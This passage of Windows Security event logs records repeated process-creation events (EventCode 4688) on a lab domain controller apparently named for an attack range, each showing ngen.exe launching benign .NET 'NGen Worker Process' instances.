	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1080
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7fc -InterruptEvent 0 -NGENProcess 780 -Pipe 778 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254557
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 634 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 670 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254556
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x116c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7f4 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254555
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc14
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e4 -InterruptEvent 0 -NGENProcess 7cc -Pipe 774 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254554
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 780 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:26 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254553
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7ec -InterruptEvent 0 -NGENProcess 7cc -Pipe 7dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254560
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1148
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c0 -InterruptEvent 0 -NGENProcess 780 -Pipe 568 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:27 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254559
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7d8 -InterruptEvent 0 -NGENProcess 694 -Pipe 628 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254562
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 730 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 7fc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254561
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7f8 -InterruptEvent 0 -NGENProcess 618 -Pipe 658 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254564
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 640 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 7f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254563
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 62c -InterruptEvent 0 -NGENProcess 618 -Pipe 60c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254565
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 538 -InterruptEvent 0 -NGENProcess 72c -Pipe 618 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254567
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 5c0 -InterruptEvent 0 -NGENProcess 598 -Pipe 5a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254566
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e8 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 610 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254568
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 538 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 72c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254570
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 660 -InterruptEvent 0 -NGENProcess 598 -Pipe 7e8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:45 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254569
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1238
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4e8 -InterruptEvent 0 -NGENProcess 4dc -Pipe 510 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:04:46 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254572
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

